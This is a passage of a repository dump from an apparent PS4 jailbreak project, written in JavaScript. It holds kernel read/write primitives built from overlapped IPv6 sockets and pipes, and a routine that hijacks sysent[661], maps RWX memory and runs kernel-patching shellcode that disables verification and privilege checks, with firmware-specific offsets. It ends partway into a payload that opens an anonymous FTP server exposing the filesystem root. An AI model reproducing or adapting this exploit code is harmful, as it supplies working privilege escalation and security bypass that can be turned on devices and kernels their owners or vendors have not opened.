Uint8Array(2); 85 | buf[0] = Number(value & 0xFFn); 86 | buf[1] = Number((value >> 8n) & 0xFFn); 87 | kernel.write_buffer(dest, buf); 88 | }; 89 | 90 | kernel.write_dword = function(dest, value) { 91 | const buf = new Uint8Array(4); 92 | for (let i = 0; i < 4; i++) { 93 | buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn); 94 | } 95 | kernel.write_buffer(dest, buf); 96 | }; 97 | 98 | kernel.write_qword = function(dest, value) { 99 | const buf = new Uint8Array(8); 100 | for (let i = 0; i < 8; i++) { 101 | buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn); 102 | } 103 | kernel.write_buffer(dest, buf); 104 | }; 105 | 106 | // IPv6 kernel r/w primitive 107 | var ipv6_kernel_rw = { 108 | data: {}, 109 | ofiles: null, 110 | kread8: null, 111 | kwrite8: null 112 | }; 113 | 114 | ipv6_kernel_rw.init = function(ofiles, kread8, kwrite8) { 115 | ipv6_kernel_rw.ofiles = ofiles; 116 | ipv6_kernel_rw.kread8 = kread8; 117 | ipv6_kernel_rw.kwrite8 = kwrite8; 118 | 119 | ipv6_kernel_rw.create_pipe_pair(); 120 | ipv6_kernel_rw.create_overlapped_ipv6_sockets(); 121 | }; 122 | 123 | ipv6_kernel_rw.get_fd_data_addr = function(fd) { 124 | // PS4: ofiles is at offset 0x0, each entry is 0x8 bytes 125 | const filedescent_addr = ipv6_kernel_rw.ofiles + BigInt(fd) * kernel_offset.SIZEOF_OFILES; 126 | const file_addr = ipv6_kernel_rw.kread8(filedescent_addr + 0x0n); 127 | return ipv6_kernel_rw.kread8(file_addr + 0x0n); 128 | }; 129 | 130 | ipv6_kernel_rw.create_pipe_pair = function() { 131 | const [read_fd, write_fd] = create_pipe(); 132 | 133 | ipv6_kernel_rw.data.pipe_read_fd = read_fd; 134 | ipv6_kernel_rw.data.pipe_write_fd = write_fd; 135 | ipv6_kernel_rw.data.pipe_addr = ipv6_kernel_rw.get_fd_data_addr(read_fd); 136 | ipv6_kernel_rw.data.pipemap_buffer = malloc(0x14); 137 | ipv6_kernel_rw.data.read_mem = malloc(PAGE_SIZE); 138 | }; 139 | 140 | ipv6_kernel_rw.create_overlapped_ipv6_sockets = function() { 141 | const master_target_buffer = malloc(0x14); 142 | const slave_buffer = malloc(0x14); 143 | const pktinfo_size_store = malloc(0x8); 144 | 145 | write64_uncompressed(pktinfo_size_store, 0x14n); 146 | 147 | const master_sock = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP); 148 | const victim_sock = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP); 149 | 150 | syscall(SYSCALL.setsockopt, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, master_target_buffer, 0x14n); 151 | syscall(SYSCALL.setsockopt, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, slave_buffer, 0x14n); 152 | 153 | const master_so = ipv6_kernel_rw.get_fd_data_addr(master_sock); 154 | const master_pcb = ipv6_kernel_rw.kread8(master_so + kernel_offset.SO_PCB); 155 | const master_pktopts = ipv6_kernel_rw.kread8(master_pcb + kernel_offset.INPCB_PKTOPTS); 156 | 157 | const slave_so = ipv6_kernel_rw.get_fd_data_addr(victim_sock); 158 | const slave_pcb = ipv6_kernel_rw.kread8(slave_so + kernel_offset.SO_PCB); 159 | const slave_pktopts = ipv6_kernel_rw.kread8(slave_pcb + kernel_offset.INPCB_PKTOPTS); 160 | 161 | ipv6_kernel_rw.kwrite8(master_pktopts + 0x10n, slave_pktopts + 0x10n); 162 | 163 | ipv6_kernel_rw.data.master_target_buffer = master_target_buffer; 164 | ipv6_kernel_rw.data.slave_buffer = slave_buffer; 165 | ipv6_kernel_rw.data.pktinfo_size_store = pktinfo_size_store; 166 | ipv6_kernel_rw.data.master_sock = master_sock; 167 | ipv6_kernel_rw.data.victim_sock = victim_sock; 168 | }; 169 | 170 | ipv6_kernel_rw.ipv6_write_to_victim = function(kaddr) { 171 | write64_uncompressed(ipv6_kernel_rw.data.master_target_buffer, kaddr); 172 | write64_uncompressed(ipv6_kernel_rw.data.master_target_buffer + 0x8n, 0n); 173 | write32_uncompressed(ipv6_kernel_rw.data.master_target_buffer + 0x10n, 0n); 174 | syscall(SYSCALL.setsockopt, ipv6_kernel_rw.data.master_sock, IPPROTO_IPV6, 175 | IPV6_PKTINFO, ipv6_kernel_rw.data.master_target_buffer, 0x14n); 176 | }; 177 | 178 | ipv6_kernel_rw.ipv6_kread = function(kaddr, buffer_addr) { 179 | ipv6_kernel_rw.ipv6_write_to_victim(kaddr); 180 | syscall(SYSCALL.getsockopt, ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, 181 | IPV6_PKTINFO, buffer_addr, ipv6_kernel_rw.data.pktinfo_size_store); 182 | }; 183 | 184 | ipv6_kernel_rw.ipv6_kwrite = function(kaddr, buffer_addr) { 185 | ipv6_kernel_rw.ipv6_write_to_victim(kaddr); 186 | syscall(SYSCALL.setsockopt, ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, 187 | IPV6_PKTINFO, buffer_addr, 0x14n); 188 | }; 189 | 190 | ipv6_kernel_rw.ipv6_kread8 = function(kaddr) { 191 | ipv6_kernel_rw.ipv6_kread(kaddr, ipv6_kernel_rw.data.slave_buffer); 192 | return read64_uncompressed(ipv6_kernel_rw.data.slave_buffer); 193 | }; 194 | 195 | ipv6_kernel_rw.copyout = function(kaddr, uaddr, len) { 196 | if (kaddr === null || kaddr === undefined || 197 | uaddr === null || uaddr === undefined || 198 | len === null || len === undefined || len === 0n) { 199 | throw new Error("copyout: invalid arguments"); 200 | } 201 | 202 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer, 0x4000000040000000n); 203 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0x4000000000000000n); 204 | write32_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n); 205 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer); 206 | 207 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer, kaddr); 208 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0n); 209 | write32_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n); 210 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10n, ipv6_kernel_rw.data.pipemap_buffer); 211 | 212 | syscall(SYSCALL.read, ipv6_kernel_rw.data.pipe_read_fd, uaddr, len); 213 | }; 214 | 215 | ipv6_kernel_rw.copyin = function(uaddr, kaddr, len) { 216 | if (kaddr === null || kaddr === undefined || 217 | uaddr === null || uaddr === undefined || 218 | len === null || len === undefined || len === 0n) { 219 | throw new Error("copyin: invalid arguments"); 220 | } 221 | 222 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer, 0n); 223 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0x4000000000000000n); 224 | write32_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n); 225 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer); 226 | 227 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer, kaddr); 228 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0n); 229 | write32_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n); 230 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10n, ipv6_kernel_rw.data.pipemap_buffer); 231 | 232 | syscall(SYSCALL.write, ipv6_kernel_rw.data.pipe_write_fd, uaddr, len); 233 | }; 234 | 235 | ipv6_kernel_rw.read_buffer = function(kaddr, len) { 236 | let mem = ipv6_kernel_rw.data.read_mem; 237 | if (len > PAGE_SIZE) { 238 | mem = malloc(len); 239 | } 240 | 241 | ipv6_kernel_rw.copyout(kaddr, mem, BigInt(len)); 242 | return read_buffer(mem, len); 243 | }; 244 | 245 | ipv6_kernel_rw.write_buffer = function(kaddr, buf) { 246 | const temp_addr = malloc(buf.length); 247 | write_buffer(temp_addr, buf); 248 | ipv6_kernel_rw.copyin(temp_addr, kaddr, BigInt(buf.length)); 249 | }; 250 | 251 | // Helper functions 252 | function is_kernel_rw_available() { 253 | return kernel.read_buffer && kernel.write_buffer; 254 | } 255 | 256 | function check_kernel_rw() { 257 | if (!is_kernel_rw_available()) { 258 | throw new Error("kernel r/w is not available"); 259 | } 260 | } 261 | 262 | function find_proc_by_name(name) { 263 | check_kernel_rw(); 264 | if (!kernel.addr.allproc) { 265 | throw new Error("kernel.addr.allproc not set"); 266 | } 267 | 268 | let proc = kernel.read_qword(kernel.addr.allproc); 269 | while (proc !== 0n) { 270 | const proc_name = kernel.read_null_terminated_string(proc + kernel_offset.PROC_COMM); 271 | if (proc_name === name) { 272 | return proc; 273 | } 274 | proc = kernel.read_qword(proc + 0x0n); 275 | } 276 | 277 | return null; 278 | } 279 | 280 | function find_proc_by_pid(pid) { 281 | check_kernel_rw(); 282 | if (!kernel.addr.allproc) { 283 | throw new Error("kernel.addr.allproc not set"); 284 | } 285 | 286 | const target_pid = BigInt(pid); 287 | let proc = kernel.read_qword(kernel.addr.allproc); 288 | while (proc !== 0n) { 289 | const proc_pid = kernel.read_dword(proc + kernel_offset.PROC_PID); 290 | if (proc_pid === target_pid) { 291 | return proc; 292 | } 293 | proc = kernel.read_qword(proc + 0x0n); 294 | } 295 | 296 | return null; 297 | } 298 | 299 | // Apply kernel patches via kexec using a single ROP chain 300 | // This avoids returning to JS between critical operations 301 | function apply_kernel_patches(fw_version) { 302 | try { 303 | // Get shellcode for this firmware 304 | const shellcode = get_kpatch_shellcode(fw_version); 305 | if (!shellcode) { 306 | logger.log("No kernel patch shellcode for FW " + fw_version); 307 | return false; 308 | } 309 | 310 | logger.log("Kernel patch shellcode: " + shellcode.length + " bytes"); 311 | 312 | // Constants 313 | const PROT_READ = 0x1n; 314 | const PROT_WRITE = 0x2n; 315 | const PROT_EXEC = 0x4n; 316 | const PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC; 317 | 318 | const mapping_addr = 0x926100000n; // Different from 0x920100000 to avoid conflicts 319 | const aligned_memsz = 0x10000n; 320 | 321 | // Get sysent[661] address and save original values 322 | const sysent_661_addr = kernel.addr.base + kernel_offset.SYSENT_661; 323 | logger.log("sysent[661] @ " + hex(sysent_661_addr)); 324 | 325 | const sy_narg = kernel.read_dword(sysent_661_addr); 326 | const sy_call = kernel.read_qword(sysent_661_addr + 8n); 327 | const sy_thrcnt = kernel.read_dword(sysent_661_addr + 0x2Cn); 328 | 329 | logger.log("Original sy_narg: " + sy_narg); 330 | logger.log("Original sy_call: " + hex(sy_call)); 331 | logger.log("Original sy_thrcnt: " + sy_thrcnt); 332 | 333 | // Calculate jmp rsi gadget address 334 | const jmp_rsi_gadget = kernel.addr.base + kernel_offset.JMP_RSI_GADGET; 335 | logger.log("jmp rsi gadget @ " + hex(jmp_rsi_gadget)); 336 | 337 | // Allocate buffer for shellcode in userspace first 338 | const shellcode_buf = malloc(shellcode.length + 0x100); 339 | logger.log("Shellcode buffer @ " + hex(shellcode_buf)); 340 | 341 | // Copy shellcode to userspace buffer 342 | for (let i = 0; i < shellcode.length; i++) { 343 | write8_uncompressed(shellcode_buf + BigInt(i), shellcode[i]); 344 | } 345 | 346 | // Verify first bytes 347 | const first_bytes = read32_uncompressed(shellcode_buf); 348 | logger.log("First bytes @ shellcode: " + hex(first_bytes)); 349 | 350 | // Hijack sysent[661] to point to jmp rsi gadget 351 | logger.log("Hijacking sysent[661]..."); 352 | kernel.write_dword(sysent_661_addr, 2n); // sy_narg = 2 353 | kernel.write_qword(sysent_661_addr + 8n, jmp_rsi_gadget); // sy_call = jmp rsi 354 | kernel.write_dword(sysent_661_addr + 0x2Cn, 1n); // sy_thrcnt = 1 355 | logger.log("Hijacked sysent[661]"); 356 | logger.flush(); 357 | 358 | // Check if jitshm_create has a dedicated gadget 359 | const jitshm_num = Number(SYSCALL.jitshm_create); 360 | const jitshm_gadget = syscall_gadget_table[jitshm_num]; 361 | logger.log("jitshm_create gadget: " + (jitshm_gadget ? hex(jitshm_gadget) : "NOT FOUND")); 362 | logger.flush(); 363 | 364 | // Try using the standard syscall() function if gadget exists 365 | if (!jitshm_gadget) { 366 | logger.log("ERROR: jitshm_create gadget not found in libkernel"); 367 | logger.log("Kernel patches require jitshm_create syscall support"); 368 | return false; 369 | } 370 | 371 | // 1. jitshm_create(0, aligned_memsz, PROT_RWX) 372 | logger.log("Calling jitshm_create..."); 373 | logger.flush(); 374 | const exec_handle = syscall(SYSCALL.jitshm_create, 0n, aligned_memsz, PROT_RWX); 375 | logger.log("jitshm_create handle: " + hex(exec_handle)); 376 | 377 | if (exec_handle >= 0xffff800000000000n) { 378 | logger.log("ERROR: jitshm_create failed"); 379 | kernel.write_dword(sysent_661_addr, sy_narg); 380 | kernel.write_qword(sysent_661_addr + 8n, sy_call); 381 | kernel.write_dword(sysent_661_addr + 0x2Cn, sy_thrcnt); 382 | return false; 383 | } 384 | 385 | // 2. mmap(mapping_addr, aligned_memsz, PROT_RWX, MAP_SHARED|MAP_FIXED, exec_handle, 0) 386 | logger.log("Calling mmap..."); 387 | logger.flush(); 388 | const mmap_result = syscall(SYSCALL.mmap, mapping_addr, aligned_memsz, PROT_RWX, 0x11n, exec_handle, 0n); 389 | logger.log("mmap result: " + hex(mmap_result)); 390 | 391 | if (mmap_result >= 0xffff800000000000n) { 392 | logger.log("ERROR: mmap failed"); 393 | kernel.write_dword(sysent_661_addr, sy_narg); 394 | kernel.write_qword(sysent_661_addr + 8n, sy_call); 395 | kernel.write_dword(sysent_661_addr + 0x2Cn, sy_thrcnt); 396 | return false; 397 | } 398 | 399 | // 3. Copy shellcode to mapped memory 400 | logger.log("Copying shellcode to " + hex(mapping_addr) + "..."); 401 | for (let j = 0; j < shellcode.length; j++) { 402 | write8_uncompressed(mapping_addr + BigInt(j), shellcode[j]); 403 | } 404 | 405 | // Verify 406 | const verify_bytes = read32_uncompressed(mapping_addr); 407 | logger.log("First bytes @ mapped: " + hex(verify_bytes)); 408 | logger.flush(); 409 | 410 | // 4. kexec(mapping_addr) - syscall 661, hijacked to jmp rsi 411 | logger.log("Calling kexec..."); 412 | logger.flush(); 413 | const kexec_result = syscall(SYSCALL.kexec, mapping_addr); 414 | logger.log("kexec returned: " + hex(kexec_result)); 415 | 416 | // === Verify 12.00 kernel patches === 417 | if (fw_version === "12.00" || fw_version === "12.02") { 418 | logger.log("Verifying 12.00 kernel patches..."); 419 | let patch_errors = 0; 420 | 421 | // Patch offsets and expected values for 12.00 422 | const patches_to_verify = [ 423 | { off: 0x1b76a3n, exp: 0x04eb, name: "dlsym_check1", size: 2 }, 424 | { off: 0x1b76b3n, exp: 0x04eb, name: "dlsym_check2", size: 2 }, 425 | { off: 0x1b76d3n, exp: 0xe990, name: "dlsym_check3", size: 2 }, 426 | { off: 0x627af4n, exp: 0x00eb, name: "veriPatch", size: 2 }, 427 | { off: 0xacdn, exp: 0xeb, name: "bcopy", size: 1 }, 428 | { off: 0x2bd3cdn, exp: 0xeb, name: "bzero", size: 1 }, 429 | { off: 0x2bd411n, exp: 0xeb, name: "pagezero", size: 1 }, 430 | { off: 0x2bd48dn, exp: 0xeb, name: "memcpy", size: 1 }, 431 | { off: 0x2bd4d1n, exp: 0xeb, name: "pagecopy", size: 1 }, 432 | { off: 0x2bd67dn, exp: 0xeb, name: "copyin", size: 1 }, 433 | { off: 0x2bdb2dn, exp: 0xeb, name: "copyinstr", size: 1 }, 434 | { off: 0x2bdbfdn, exp: 0xeb, name: "copystr", size: 1 }, 435 | { off: 0x6283dfn, exp: 0x00eb, name: "sysVeri_suspend", size: 2 }, 436 | { off: 0x490n, exp: 0x00, name: "syscall_check", size: 4 }, 437 | { off: 0x4c2n, exp: 0xeb, name: "syscall_jmp1", size: 1 }, 438 | { off: 0x4b9n, exp: 0x00eb, name: "syscall_jmp2", size: 2 }, 439 | { off: 0x4b5n, exp: 0x00eb, name: "syscall_jmp3", size: 2 }, 440 | { off: 0x3914e6n, exp: 0xeb, name: "setuid", size: 1 }, 441 | { off: 0x2fc0ecn, exp: 0x04eb, name: "vm_map_protect", size: 2 }, 442 | { off: 0x1b7164n, exp: 0xe990, name: "dynlib_load_prx", size: 2 }, 443 | { off: 0x1fa71an, exp: 0x37, name: "mmap_rwx1", size: 1 }, 444 | { off: 0x1fa71dn, exp: 0x37, name: "mmap_rwx2", size: 1 }, 445 | { off: 0x1102d80n, exp: 0x02, name: "sysent11_narg", size: 4 }, 446 | { off: 0x1102dacn, exp: 0x01, name: "sysent11_thrcnt", size: 4 }, 447 | ]; 448 | 449 | for (const p of patches_to_verify) { 450 | let actual; 451 | if (p.size === 1) { 452 | actual = Number(kernel.read_byte(kernel.addr.base + p.off)); 453 | } else if (p.size === 2) { 454 | actual = Number(kernel.read_word(kernel.addr.base + p.off)); 455 | } else { 456 | actual = Number(kernel.read_dword(kernel.addr.base + p.off)); 457 | } 458 | 459 | if (actual === p.exp) { 460 | logger.log(" [OK] " + p.name); 461 | } else { 462 | logger.log(" [FAIL] " + p.name + ": expected " + hex(p.exp) + ", got " + hex(actual)); 463 | patch_errors++; 464 | } 465 | } 466 | 467 | // Special check for sysent[11] sy_call - should point to jmp [rsi] gadget 468 | const sysent11_call = kernel.read_qword(kernel.addr.base + 0x1102d88n); 469 | const expected_gadget = kernel.addr.base + 0x47b31n; 470 | if (sysent11_call === expected_gadget) { 471 | logger.log(" [OK] sysent11_call -> jmp_rsi @ " + hex(sysent11_call)); 472 | } else { 473 | logger.log(" [FAIL] sysent11_call: expected " + hex(expected_gadget) + ", got " + hex(sysent11_call)); 474 | patch_errors++; 475 | } 476 | 477 | if (patch_errors === 0) { 478 | logger.log("All 12.00 kernel patches verified OK!"); 479 | } else { 480 | logger.log("[WARNING] " + patch_errors + " kernel patches failed!"); 481 | } 482 | logger.flush(); 483 | } 484 | 485 | // Restore original sysent[661] 486 | logger.log("Restoring sysent[661]..."); 487 | kernel.write_dword(sysent_661_addr, sy_narg); 488 | kernel.write_qword(sysent_661_addr + 8n, sy_call); 489 | kernel.write_dword(sysent_661_addr + 0x2Cn, sy_thrcnt); 490 | logger.log("Restored sysent[661]"); 491 | 492 | logger.log("Kernel patches applied!"); 493 | logger.flush(); 494 | return true; 495 | 496 | } catch (e) { 497 | logger.log("apply_kernel_patches error: " + e.message); 498 | logger.log(e.stack); 499 | return false; 500 | } 501 | } 502 | -------------------------------------------------------------------------------- /PS4/payloads/ftpserver.js: -------------------------------------------------------------------------------- 1 | // ===== Configuración ===== 2 | const FTP = { 3 | SERVER_IP: null, 4 | CTRL_PORT: 1337, // deseado 5 | ROOT_PATH: "/", 6 | CHUNK: 8192, 7 | DEBUG: true 8 | }; 9 | 10 | function dbg(msg) { try { logger.log("[FTP] " + msg); } catch (_) {} } 11 | function notify(msg) { try { send_notification(msg); } catch (_) {} } 12 | 13 | // ===== Extiende SYSCALL con números del payload Lua ===== 14 | // Si ya existen en tu objeto SYSCALL, estos complementan lo faltante. 15 | if (!globalThis.SYSCALL) globalThis.SYSCALL = {}; 16 | Object.assign(SYSCALL, { 17 | // ya presentes en tu exploit: 18 | read: SYSCALL.read ?? 0x3n, 19 | write: SYSCALL.write ?? 0x4n, 20 | open: SYSCALL.open ?? 0x5n, 21 | close: SYSCALL.close ?? 0x6n, 22 | getsockname: SYSCALL.getsockname ?? 0x20n, 23 | accept: SYSCALL.accept ?? 0x1en, 24 | socket: SYSCALL.socket ?? 0x61n, 25 | connect: SYSCALL.connect ?? 0x62n, 26 | bind: SYSCALL.bind ?? 0x68n, 27 | setsockopt: SYSCALL.setsockopt ?? 0x69n, 28 | listen: SYSCALL.listen ?? 0x6an, 29 | netgetiflist: SYSCALL.netgetiflist ?? 0x7dn, 30 | // añadidos de Lua: 31 | stat: SYSCALL.stat ?? 0xBCn, // 188 32 | getdents: SYSCALL.getdents ?? 0x110n, // 272 33 | mkdir: SYSCALL.mkdir ?? 0x88n, // 136 34 | rmdir: SYSCALL.rmdir ?? 0x89n, // 137 35 | rename: SYSCALL.rename ?? 0x80n, // 128 36 | unlink: SYSCALL.unlink ?? 0xAn, // 10 37 | lseek: SYSCALL.lseek ?? 0x1DEn // 478 38 | }); 39 | 40 | // ===== Constantes ===== 41 | const AF_INET = 2n; 42 | const SOCK_STREAM = 1n; 43 | const SOL_SOCKET = 0xffffn; 44 | const SO_REUSEADDR = 4n; 45 | const O_RDONLY = 0n, O_RDWR = 2n, O_CREAT = 0x100n, O_TRUNC = 0x1000n, O_APPEND = 0x2000n; 46 | 47 | // ===== Helpers ===== 48 | function htons(n) { return ((n & 0xFF) << 8) | ((n >> 8) & 0xFF); } 49 | function joinPath(a, b) { return a.endsWith("/") ? a + b : a + "/" + b; } 50 | function dirname(p) { if (p === "/") return "/"; const parts = p.split("/").filter(Boolean); parts.pop(); return parts.length ? "/" + parts.join("/") : "/"; } 51 | function normalizePath(root, input, curPath) { 52 | const sep = "/"; 53 | let raw; 54 | if (!input || input === "/") raw = root; 55 | else if (input.startsWith(sep)) raw = input; 56 | else raw = curPath === "/" ? joinPath(root, input) : joinPath(curPath, input); 57 | const parts = raw.split("/").filter(Boolean); 58 | const out = []; 59 | for (const p of parts) { if (p === ".") continue; if (p === "..") { if (out.length) out.pop(); continue; } out.push(p); } 60 | const normalized = sep + out.join("/"); 61 | const rootNorm = root === "/" ? "/" : root; 62 | if (!normalized.startsWith(rootNorm)) return rootNorm; 63 | return normalized; 64 | } 65 | const MONTHS = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]; 66 | 67 | // ===== Syscalls de red ===== 68 | function create_tcp_server_force(portWanted) { 69 | const sockaddr = malloc(16); 70 | const opt = malloc(4); 71 | write32_uncompressed(opt, 1); 72 | 73 | const fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n); 74 | if (Number(fd) < 0) throw new Error("socket() falló"); 75 | 76 | // Intento 1: puerto deseado 77 | write8_uncompressed(sockaddr + 1n, AF_INET); 78 | write16_uncompressed(sockaddr + 2n, htons(portWanted)); 79 | write32_uncompressed(sockaddr + 4n, 0); // INADDR_ANY 80 | syscall(SYSCALL.setsockopt, fd, SOL_SOCKET, SO_REUSEADDR, opt, 4n); 81 | 82 | let br = syscall(SYSCALL.bind, fd, sockaddr, 16n); 83 | if (Number(br) < 0) { 84 | dbg(`bind(${portWanted}) falló, reintentando con puerto 0`); 85 | // Intento 2: puerto aleatorio 86 | write16_uncompressed(sockaddr + 2n, 0); 87 | br = syscall(SYSCALL.bind, fd, sockaddr, 16n); 88 | if (Number(br) < 0) { syscall(SYSCALL.close, fd); throw new Error("bind() falló"); } 89 | } 90 | 91 | const lr = syscall(SYSCALL.listen, fd, 128n); 92 | if (Number(lr) < 0) { syscall(SYSCALL.close, fd); throw new Error("listen() falló"); } 93 | 94 | return { fd, sockaddr }; 95 | } 96 | 97 | function getsockname(fd) { 98 | const addr = malloc(16); 99 | const lenp = malloc(8); 100 | write32_uncompressed(lenp, 16); 101 | syscall(SYSCALL.getsockname, fd, addr, lenp); 102 | const port_be = read16_uncompressed(addr + 2n); 103 | const p = Number(((port_be & 0xFFn) << 8n) | ((port_be >> 8n) & 0xFFn)); 104 | return { addr, port: p }; 105 | } 106 | 107 | function accept_blocking(serverFd) { 108 | const addr = malloc(16); 109 | const lenp = malloc(8); 110 | write32_uncompressed(lenp, 16); 111 | const cfd = syscall(SYSCALL.accept, serverFd, addr, lenp); 112 | return Number(cfd); 113 | } 114 | 115 | function tcp_connect(host, port) { 116 | const saddr = malloc(16); 117 | const cfd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n); 118 | if (Number(cfd) < 0) throw new Error("socket() connect falló"); 119 | 120 | const [a,b,c,d] = host.split(".").map(x => Number(x)); 121 | const ip32 = (a << 24) | (b << 16) | (c << 8) | d; 122 | 123 | write8_uncompressed(saddr + 1n, AF_INET); 124 | write16_uncompressed(saddr + 2n, htons(port)); 125 | write32_uncompressed(saddr + 4n, ip32); 126 | 127 | const rr = syscall(SYSCALL.connect, cfd, saddr, 16n); 128 | if (Number(rr) < 0) { syscall(SYSCALL.close, cfd); throw new Error("connect() falló"); } 129 | return { fd: cfd, sockaddr: saddr }; 130 | } 131 | 132 | // ===== FS ===== 133 | function open_read(path) { const p = alloc_string(path); const fd = syscall(SYSCALL.open, p, O_RDONLY); return Number(fd); } 134 | function open_write(path, { create, append, truncate }) { 135 | let flags = O_RDWR; 136 | if (create) flags |= O_CREAT; 137 | if (append) flags |= O_APPEND; 138 | if (truncate) flags |= O_TRUNC; 139 | const p = alloc_string(path); 140 | const fd = syscall(SYSCALL.open, p, flags); 141 | return Number(fd); 142 | } 143 | function close_fd(fd) { syscall(SYSCALL.close, BigInt(fd)); } 144 | function read_fd(fd, bufAddr, len) { const r = syscall(SYSCALL.read, BigInt(fd), bufAddr, BigInt(len)); return Number(r); } 145 | function write_fd(fd, bufAddr, len) { const r = syscall(SYSCALL.write, BigInt(fd), bufAddr, BigInt(len)); return Number(r); } 146 | 147 | function stat_path(path) { 148 | const st = malloc(120); 149 | const p = alloc_string(path); 150 | const ret = syscall(SYSCALL.stat, p, st); 151 | if (Number(ret) < 0) return null; 152 | const mode = Number(read16_uncompressed(st + 8n)); 153 | const size = Number(read32_uncompressed(st + 72n)) | (Number(read32_uncompressed(st + 76n)) << 32); 154 | return { st, mode, size }; 155 | } 156 | function is_dir(mode) { return (mode & parseInt("040000", 8)) === parseInt("040000", 8); } 157 | function is_reg(mode) { return (mode & parseInt("0100000", 8)) === parseInt("0100000", 8); } 158 | 159 | function readdir_names(dirPath) { 160 | const fd = open_read(dirPath); 161 | if (fd < 0) return null; 162 | const buf = malloc(4096); 163 | const names = []; 164 | while (true) { 165 | const nread = syscall(SYSCALL.getdents, BigInt(fd), buf, 4096n); 166 | const n = Number(nread); 167 | if (n <= 0) break; 168 | let entry = buf; 169 | const end = buf + BigInt(n); 170 | while (entry < end) { 171 | const length = Number(read8_uncompressed(entry + 4n)); 172 | if (length === 0) break; 173 | let name = ""; 174 | for (let i = 0; i < 256; i++) { 175 | const c = Number(read8_uncompressed(entry + 8n + BigInt(i))); 176 | if (c === 0) break; 177 | name += String.fromCharCode(c); 178 | } 179 | if (name && name !== "." && name !== "..") names.push(name); 180 | entry = entry + BigInt(length); 181 | } 182 | } 183 | close_fd(fd); 184 | return names; 185 | } 186 | 187 | function mode_string(mode, isDirFlag) { 188 | const tri = v => ((v & 4) ? "r" : "-") + ((v & 2) ? "w" : "-") + ((v & 1) ? (isDirFlag ? "s" : "x") : (isDirFlag ? "S" : "-")); 189 | const u = (mode >> 6) & 7, g = (mode >> 3) & 7, o = mode & 7; 190 | return (isDirFlag ? "d" : "-") + tri(u) + tri(g) + tri(o); 191 | } 192 | 193 | // ===== Estado ===== 194 | const CONN = { NONE: "none", ACTIVE: "active", PASSIVE: "passive" }; 195 | 196 | class FTPServer { 197 | constructor(ip, port, root) { 198 | this.serverIp = ip; 199 | this.ctrlPortWanted = port; 200 | this.root = root; 201 | this.ctrl = { serverFd: -1, clientFd: -1, portActual: -1 }; 202 | this.data = { mode: CONN.NONE, active: { fd: -1 }, passive: { serverFd: -1, port: 0, clientFd: -1 } }; 203 | this.curPath = root; 204 | this.transferType = "I"; 205 | this.restorePoint = -1; 206 | this.renameFrom = ""; 207 | this.buf = malloc(FTP.CHUNK); 208 | } 209 | 210 | start() { 211 | const srv = create_tcp_server_force(this.ctrlPortWanted); 212 | this.ctrl.serverFd = Number(srv.fd); 213 | const sn = getsockname(srv.fd); 214 | this.ctrl.portActual = sn.port; 215 | 216 | notify(`FTP control escuchando en ${this.serverIp}:${this.ctrl.portActual}`); 217 | dbg(`CTRL deseado=${this.ctrlPortWanted} actual=${this.ctrl.portActual}`); 218 | 219 | (async () => { 220 | while (true) { 221 | await new Promise(res => nrdp.setTimeout(res, 10)); 222 | const cfd = accept_blocking(BigInt(this.ctrl.serverFd)); 223 | if (cfd >= 0) { 224 | this.ctrl.clientFd = cfd; 225 | dbg(`Cliente control conectado fd=${cfd}`); 226 | this.sendCtrl("220 JS FTP Server\r\n"); 227 | this.controlLoop(); 228 | break; 229 | } 230 | } 231 | })(); 232 | } 233 | 234 | sendCtrl(s) { 235 | const msg = alloc_string(s); 236 | write_fd(this.ctrl.clientFd, msg, s.length); 237 | } 238 | 239 | recvLine() { 240 | const lineBuf = []; 241 | while (true) { 242 | const n = read_fd(this.ctrl.clientFd, this.buf, 1); 243 | if (n <= 0) return null; 244 | const ch = Number(read8_uncompressed(this.buf)); 245 | lineBuf.push(ch); 246 | const L = lineBuf.length; 247 | if (L >= 2 && lineBuf[L-2] === 13 && lineBuf[L-1] === 10) { 248 | return String.fromCharCode(...lineBuf.slice(0, -2)); 249 | } 250 | } 251 | } 252 | 253 | async controlLoop() { 254 | while (true) { 255 | const line = this.recvLine(); 256 | if (line === null) break; 257 | const cmd = line.trim(); 258 | dbg(`CMD: ${cmd}`); 259 | const op = cmd.split(" ")[0].toUpperCase(); 260 | if (await this.dispatch(op, cmd)) break; 261 | } 262 | this.cleanup(); 263 | } 264 | 265 | async dispatch(op, cmd) { 266 | const handlers = { 267 | USER: async () => this.sendCtrl("331 Anonymous login accepted, send your email as password\r\n"), 268 | PASS: async () => this.sendCtrl("230 User logged in\r\n"), 269 | NOOP: async () => this.sendCtrl("200 